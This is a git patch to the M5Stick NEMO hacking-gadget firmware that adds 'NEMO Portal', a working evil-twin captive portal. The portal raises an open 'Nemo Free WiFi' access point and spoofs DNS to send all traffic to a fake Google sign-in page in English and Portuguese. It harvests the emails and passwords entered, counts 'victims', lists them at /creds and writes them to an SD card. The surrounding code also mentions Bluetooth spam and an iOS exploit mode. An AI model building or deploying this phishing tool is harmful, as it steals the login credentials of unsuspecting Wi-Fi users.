From 9d284a3c812cb3d1cf1fdd940f7482ae29b0cbfb Mon Sep 17 00:00:00 2001
From: Noah Axon
Date: Fri, 29 Dec 2023 22:34:45 -0600
Subject: [PATCH] Add NEMO Portal, a captive wifi portal, with SD Card support
---
README.md | 1 +
m5stick-nemo.ino | 188 ++++++++++++++++++++++++++++++++------------
portal.h | 198 +++++++++++++++++++++++++++++++++++++++++++++++
sd.h | 49 ++++++++++++
tvbg.h | 9 +--
5 files changed, 390 insertions(+), 55 deletions(-)
create mode 100644 portal.h
create mode 100644 sd.h
diff --git a/README.md b/README.md
index 0127646..415c780 100644
--- a/README.md
+++ b/README.md
@@ -11,6 +11,7 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr
* [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam
* Bluetooth device notification spamming for SwiftPair (Windows) and Android
* WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute
+* WiFi NEMO Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card (if inserted into a supported reader)
* WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them
* User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode
* EEPROM-backed Settings for rotation, brightness and, automatic dimming
diff --git a/m5stick-nemo.ino b/m5stick-nemo.ino
index 08644a8..b6dbd69 100644
--- a/m5stick-nemo.ino
+++ b/m5stick-nemo.ino
@@ -8,10 +8,14 @@
//#define CARDPUTER
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
-String buildver="2.1.3";
+String buildver="2.2.1";
#define BGCOLOR BLACK
#define FGCOLOR GREEN
+// -=-=- NEMO Portal Language -=- Thanks, @marivaaldo! -=-=-
+#define LANGUAGE_EN_US
+//#define LANGUAGE_PT_BR
+
#if defined(STICK_C_PLUS)
#include
// -=-=- Display -=-=-
@@ -27,9 +31,14 @@ String buildver="2.1.3";
#define ACTIVE_LOW_IR
#define ROTATION
#define USE_EEPROM
+ //#define SDCARD //Requires a custom-built adapter
// -=-=- ALIASES -=-=-
#define DISP M5.Lcd
#define IRLED 9
+ #define SPEAKER M5.Beep
+ #define SD_CLK_PIN 0
+ #define SD_MISO_PIN 36
+ #define SD_MOSI_PIN 26
#endif
#if defined(STICK_C_PLUS2)
@@ -41,10 +50,11 @@ String buildver="2.1.3";
#define SMALL_TEXT 2
#define TINY_TEXT 1
// -=-=- FEATURES -=-=-
- // #define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
#define ACTIVE_LOW_IR
#define ROTATION
- //#define USE_EEPROM //TODO: This won't work until RTC is sorted out
+ #define USE_EEPROM
+ //#define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
+ //#define SDCARD //Requires a custom-built adapter
// -=-=- ALIASES -=-=-
#define DISP M5.Lcd
#define IRLED 19
@@ -53,6 +63,10 @@ String buildver="2.1.3";
#define M5_BUTTON_RST 39
//TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
#define BACKLIGHT 27 // best I can tell from the schematics?
+ #define SPEAKER M5.Beep
+ #define SD_CLK_PIN 0
+ #define SD_MISO_PIN 36
+ #define SD_MOSI_PIN 26
#endif
#if defined(STICK_C)
@@ -69,9 +83,14 @@ String buildver="2.1.3";
#define AXP
#define ROTATION
#define USE_EEPROM
+ //#define SDCARD //Requires a custom-built adapter
// -=-=- ALIASES -=-=-
#define DISP M5.Lcd
#define IRLED 9
+ #define SPEAKER M5.Beep
+ #define SD_CLK_PIN 0
+ #define SD_MISO_PIN 36
+ #define SD_MOSI_PIN 26
#endif
#if defined(CARDPUTER)
@@ -87,10 +106,16 @@ String buildver="2.1.3";
#define HID
#define ACTIVE_LOW_IR
#define USE_EEPROM
+ #define SDCARD
// -=-=- ALIASES -=-=-
#define DISP M5Cardputer.Display
#define IRLED 44
#define BACKLIGHT 38
+ #define SPEAKER M5Cardputer.Speaker
+ #define SD_CLK_PIN 40
+ #define SD_MISO_PIN 39
+ #define SD_MOSI_PIN 14
+ #define SD_CS_PIN 12
#endif
// -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
@@ -102,34 +127,8 @@ String buildver="2.1.3";
// USE_EEPROM - Store settings in EEPROM
// ROTATION - Allow screen to be rotated
// DISP - Set to the API's Display class
-
-#include
-#include
-#include "applejuice.h"
-#include "WORLD_IR_CODES.h"
-#include "wifispam.h"
-#include
-#include
-
-int advtime = 0;
-int cursor = 0;
-int wifict = 0;
-int brightness = 100;
-int ajDelay = 1000;
-bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
-bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
-bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
-bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
-bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
-#if defined(USE_EEPROM)
- #include
- #define EEPROM_SIZE 4
-#endif
-
-struct MENU {
- char name[19];
- int command;
-};
+// SDCARD - Device has an SD Card Reader attached
+// SPEAKER - Aliased to the prefix used for making noise
/// SWITCHER ///
// Proc codes
@@ -145,13 +144,49 @@ struct MENU {
// 9 - AppleJuice Advertisement
// 10 - Credits
// 11 - Wifi beacon spam
-// 12 - Wifi spam menu
+// 12 - Wifi tools menu
// 13 - TV-B-Gone Region Setting
// 14 - Wifi scanning
// 15 - Wifi scan results
// 16 - Bluetooth Spam Menu
// 17 - Bluetooth Maelstrom
// 18 - QR Codes
+// 19 - NEMO Portal
+
+#include
+#include
+#include
+#include
+#include "applejuice.h"
+#include "WORLD_IR_CODES.h"
+#include "wifispam.h"
+#include "sd.h"
+#include "portal.h"
+#include
+#include
+
+int advtime = 0;
+int cursor = 0;
+int wifict = 0;
+int brightness = 100;
+int ajDelay = 1000;
+bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
+bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
+bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
+bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
+bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
+bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
+const byte PortalTickTimer = 1000;
+
+#if defined(USE_EEPROM)
+ #include
+ #define EEPROM_SIZE 4
+#endif
+
+struct MENU {
+ char name[19];
+ int command;
+};
struct QRCODE {
char name[19];
@@ -231,6 +266,11 @@ void check_menu_press() {
if (digitalRead(M5_BUTTON_MENU) == LOW){
#endif
dimtimer();
+ if(portal_active){
+ // just in case we escape the portal with the main menu button
+ shutdownWebServer();
+ portal_active = false;
+ }
isSwitching = true;
rstOverride = false;
current_proc = 1;
@@ -338,13 +378,15 @@ void dimtimer(){
}
void screen_dim_proc() {
- check_menu_press();
- check_next_press();
- check_select_press();
- if (screen_dim_dimmed == false) {
- if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) {
- screenBrightness(10);
- screen_dim_dimmed = true;
+ if(screen_dim_time > 0){
+ check_menu_press();
+ check_next_press();
+ check_select_press();
+ if (screen_dim_dimmed == false) {
+ if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) {
+ screenBrightness(10);
+ screen_dim_dimmed = true;
+ }
}
}
}
@@ -352,12 +394,14 @@ void screen_dim_proc() {
/// Dimmer MENU ///
MENU dmenu[] = {
{ "Back", screen_dim_time},
+ { "Never", 0},
{ "5 seconds", 5},
{ "10 seconds", 10},
{ "15 seconds", 15},
- { "20 seconds", 20},
- { "25 seconds", 25},
{ "30 seconds", 30},
+ { "1 minute", 60},
+ { "2 minutes", 120},
+ { "4 minutes", 240},
};
int dmenu_size = sizeof(dmenu) / sizeof(MENU);
@@ -366,7 +410,7 @@ void dmenu_setup() {
DISP.setCursor(0, 5, 1);
DISP.println("SET AUTO DIM TIME");
delay(1000);
- cursor = (screen_dim_time / 5) - 1;
+ cursor = 0;
rstOverride = true;
drawmenu(dmenu, dmenu_size);
delay(500); // Prevent switching after menu loads up
@@ -1317,11 +1361,12 @@ void btmaelstrom_loop(){
/// WIFI MENU ///
MENU wsmenu[] = {
- { "Back", 4},
+ { "Back", 5},
{ "Scan Wifi", 0},
{ "Spam Funny", 1},
{ "Spam Rickroll", 2},
{ "Spam Random", 3},
+ { "NEMO Portal", 4},
};
int wsmenu_size = sizeof(wsmenu) / sizeof (MENU);
@@ -1360,6 +1405,9 @@ void wsmenu_loop() {
spamtype = 3;
break;
case 4:
+ current_proc = 19;
+ break;
+ case 5:
current_proc = 1;
break;
}
@@ -1546,6 +1594,38 @@ void qrmenu_loop() {
}
}
+/// NEMO PORTAL
+
+void portal_setup(){
+ setupWiFi();
+ setupWebServer();
+ portal_active = true;
+ cursor = 0;
+ rstOverride = true;
+ printHomeToScreen();
+ delay(500); // Prevent switching after menu loads up
+}
+
+void portal_loop(){
+ if ((millis() - lastTick) > PortalTickTimer) {
+ lastTick = millis();
+ if (totalCapturedCredentials != previousTotalCapturedCredentials) {
+ previousTotalCapturedCredentials = totalCapturedCredentials;
+ printHomeToScreen();
+ }
+ }
+ dnsServer.processNextRequest();
+ webServer.handleClient();
+ if (check_next_press()){
+ shutdownWebServer();
+ portal_active = false;
+ rstOverride = false;
+ isSwitching = true;
+ current_proc = 12;
+ delay(500);
+ }
+}
+
/// ENTRY ///
void setup() {
#if defined(CARDPUTER)
@@ -1557,11 +1637,11 @@ void setup() {
#endif
#if defined(USE_EEPROM)
EEPROM.begin(EEPROM_SIZE);
- Serial.printf("EEPROM 0: %d\n", EEPROM.read(0));
- Serial.printf("EEPROM 1: %d\n", EEPROM.read(1));
- Serial.printf("EEPROM 2: %d\n", EEPROM.read(2));
- Serial.printf("EEPROM 3: %d\n", EEPROM.read(3));
- if(EEPROM.read(0) > 3 || EEPROM.read(1) > 30 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
+ Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
+ Serial.printf("EEPROM 1 - Dim Time: %d\n", EEPROM.read(1));
+ Serial.printf("EEPROM 2 - Brightness: %d\n", EEPROM.read(2));
+ Serial.printf("EEPROM 3 - TVBG Reg: %d\n", EEPROM.read(3));
+ if(EEPROM.read(0) > 3 || EEPROM.read(1) > 240 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
// Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
Serial.println("EEPROM likely not properly configured. Writing defaults.");
#if defined(CARDPUTER)
@@ -1606,7 +1686,9 @@ void setup() {
pAdvertising = pServer->getAdvertising();
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
- // Finish with time to show logo
+ // Nemo Portal Init
+ setupSdCard();
+ bootTime = lastActivity = millis();
}
void loop() {
@@ -1619,6 +1701,7 @@ void loop() {
// Switcher
if (isSwitching) {
isSwitching = false;
+ Serial.printf("Switching To Task: %d\n", current_proc);
switch (current_proc) {
#if defined(RTC)
case 0:
@@ -1685,7 +1768,9 @@ void loop() {
case 18:
qrmenu_setup();
break;
-
+ case 19:
+ portal_setup();
+ break;
}
}
@@ -1755,5 +1840,8 @@ void loop() {
case 18:
qrmenu_loop();
break;
+ case 19:
+ portal_loop();
+ break;
}
}
diff --git a/portal.h b/portal.h
new file mode 100644
index 0000000..1dd376c
--- /dev/null
+++ b/portal.h
@@ -0,0 +1,198 @@
+// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
+// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
+// Retaining the Portuguese translations since this project has a large
+// fan base in Brazil. Shouts to CyberJulio as well.
+
+#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
+#define SD_CREDS_PATH "/nemo-portal-creds.txt"
+
+#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
+#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
+#endif
+
+#if defined(LANGUAGE_EN_US)
+#define LOGIN_TITLE "Sign in"
+#define LOGIN_SUBTITLE "Sign In With Google"
+#define LOGIN_EMAIL_PLACEHOLDER "Email"
+#define LOGIN_PASSWORD_PLACEHOLDER "Password"
+#define LOGIN_MESSAGE "Please log in to browse securely."
+#define LOGIN_BUTTON "Next"
+#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
+#elif defined(LANGUAGE_PT_BR)
+#define LOGIN_TITLE "Fazer login"
+#define LOGIN_SUBTITLE "Use sua Conta do Google"
+#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
+#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
+#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
+#define LOGIN_BUTTON "Avançar"
+#define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."
+#endif
+
+int totalCapturedCredentials = 0;
+int previousTotalCapturedCredentials = 0;
+String capturedCredentialsHtml = "";
+String apSsidName = String(DEFAULT_AP_SSID_NAME);
+
+// Init System Settings
+const byte HTTP_CODE = 200;
+const byte DNS_PORT = 53;
+IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
+unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
+DNSServer dnsServer;
+WebServer webServer(80);
+
+void setupWiFi() {
+ Serial.println("Initializing WiFi");
+ WiFi.mode(WIFI_AP);
+ WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(apSsidName);
+}
+
+void printHomeToScreen() {
+ DISP.fillScreen(BLACK);
+ DISP.setSwapBytes(true);
+ DISP.setTextSize(2);
+ DISP.setTextColor(TFT_RED, BGCOLOR);
+ DISP.setCursor(0, 10);
+ DISP.print("NEMO PORTAL");
+ DISP.setTextColor(FGCOLOR, BGCOLOR);
+ DISP.setCursor(0, 35);
+ DISP.print("WiFi IP: ");
+ DISP.println(AP_GATEWAY);
+ DISP.printf("SSID: "); //, apSsidName);
+ DISP.print(apSsidName);
+ DISP.println("");
+ DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
+}
+
+String getInputValue(String argName) {
+ String a = webServer.arg(argName);
+ a.replace("<", "<");
+ a.replace(">", ">");
+ a.substring(0, 200);
+ return a;
+}
+
+String getHtmlContents(String body) {
+ String html =
+ ""
+ ""
+ ""
+ " "
+ + apSsidName + ""
+ " "
+ " "
+ " "
+ ""
+ ""
+ " "
+ "
"
+ " "
+ " "
+ "
"
+ "
"
+ "
"
+ ""
+ "";
+ return html;
+}
+
+String creds_GET() {
+ return getHtmlContents("" + capturedCredentialsHtml + "
Back to Index
Clear passwords
");
+}
+
+String index_GET() {
+ String loginTitle = String(LOGIN_TITLE);
+ String loginSubTitle = String(LOGIN_SUBTITLE);
+ String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
+ String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
+ String loginMessage = String(LOGIN_MESSAGE);
+ String loginButton = String(LOGIN_BUTTON);
+
+ return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
+}
+
+String index_POST() {
+ String email = getInputValue("email");
+ String password = getInputValue("password");
+ capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
+
+#if defined(SDCARD)
+ appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
+#endif
+ return getHtmlContents(LOGIN_AFTER_MESSAGE);
+}
+
+String clear_GET() {
+ String email = "";
+ String password = "";
+ capturedCredentialsHtml = "";
+ totalCapturedCredentials = 0;
+ return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtmlBack to Index");
+}
+
+#if defined(M5LED)
+void blinkLed() {
+ int count = 0;
+ while (count < 5) {
+ digitalWrite(M5_LED, LOW);
+ delay(500);
+ digitalWrite(M5_LED, HIGH);
+ delay(500);
+ count = count + 1;
+ }
+}
+#endif
+
+void setupWebServer() {
+ Serial.println("Starting DNS");
+ dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
+ Serial.println("Setting up Webserver");
+ webServer.on("/post", []() {
+ totalCapturedCredentials = totalCapturedCredentials + 1;
+ webServer.send(HTTP_CODE, "text/html", index_POST());
+#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2)
+ SPEAKER.tone(4000);
+ delay(50);
+ SPEAKER.mute();
+#elif defined(CARDPUTER)
+ SPEAKER.tone(4000, 50);
+#endif
+ DISP.print("Victim Login");
+#if defined(M5LED)
+ blinkLed();
+#endif
+ });
+ Serial.println("Registering /creds");
+ webServer.on("/creds", []() {
+ webServer.send(HTTP_CODE, "text/html", creds_GET());
+ });
+ Serial.println("Registering /clear");
+ webServer.on("/clear", []() {
+ webServer.send(HTTP_CODE, "text/html", clear_GET());
+ });
+ Serial.println("Registering /*");
+ webServer.onNotFound([]() {
+ lastActivity = millis();
+ webServer.send(HTTP_CODE, "text/html", index_GET());
+ });
+ Serial.println("Starting Webserver");
+ webServer.begin();
+}
+
+void shutdownWebServer() {
+ Serial.println("Stopping DNS");
+ dnsServer.stop();
+ Serial.println("Closing Webserver");
+ webServer.close();
+ Serial.println("Stopping Webserver");
+ webServer.stop();
+ Serial.println("Setting WiFi to STA mode");
+ WiFi.mode(WIFI_MODE_STA);
+}
diff --git a/sd.h b/sd.h
new file mode 100644
index 0000000..4946655
--- /dev/null
+++ b/sd.h
@@ -0,0 +1,49 @@
+
+bool sdcardMounted = false;
+#if defined(SDCARD)
+ #include
+ #include
+ #include
+ SPIClass* sdcardSPI = NULL;
+ SemaphoreHandle_t sdcardSemaphore;
+
+ void appendToFile(fs::FS& fs, const char* path, const char* text) {
+ if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) {
+ File file = fs.open(path, FILE_APPEND);
+ if (!file) {
+ Serial.println("Failed to open file for appending");
+ xSemaphoreGive(sdcardSemaphore);
+ return;
+ }
+ Serial.printf("Appending text '%s' to file: %s\n", text, path);
+ if (file.println(text)) {
+ Serial.println("Text appended");
+ } else {
+ Serial.println("Append failed");
+ }
+ file.close();
+ xSemaphoreGive(sdcardSemaphore);
+ }
+ }
+#endif
+
+bool setupSdCard() {
+#if defined(SDCARD)
+ sdcardSemaphore = xSemaphoreCreateMutex();
+ sdcardSPI = new SPIClass(FSPI);
+ sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN);
+
+ delay(10);
+
+ if (!SD.begin(SD_CS_PIN, *sdcardSPI)) {
+ Serial.println("Failed to mount SDCARD");
+ return false;
+ } else {
+ Serial.println("SDCARD mounted successfully");
+ sdcardMounted = true;
+ return true;
+ }
+#else
+ return false;
+#endif
+}
diff --git a/tvbg.h b/tvbg.h
index 65c1de0..a885ede 100644
--- a/tvbg.h
+++ b/tvbg.h
@@ -11,9 +11,6 @@ By Anton Grimpelhuber (anton.grimpelhuber@gmail.com)
#define NA 0 //set by a HIGH on REGIONSWITCH pin
#define EU 1 //set by a LOW on REGIONSWITCH pin
-// What pins do what
-#define LED 10 //LED indicator pin (built-in LED)
-
// Lets us calculate the size of the NA/EU databases
#define NUM_ELEM(x) (sizeof (x) / sizeof (*(x)));
@@ -91,9 +88,11 @@ void delay_ten_us(uint16_t us) {
}
void quickflashLED( void ) {
- digitalWrite(LED, LOW);
+#if defined(M5LED)
+ digitalWrite(M5_LED, LOW);
delay_ten_us(3000); // 30 ms ON-time delay
- digitalWrite(LED, HIGH);
+ digitalWrite(M5_LED, HIGH);
+#endif
}
void quickflashLEDx( uint8_t x ) {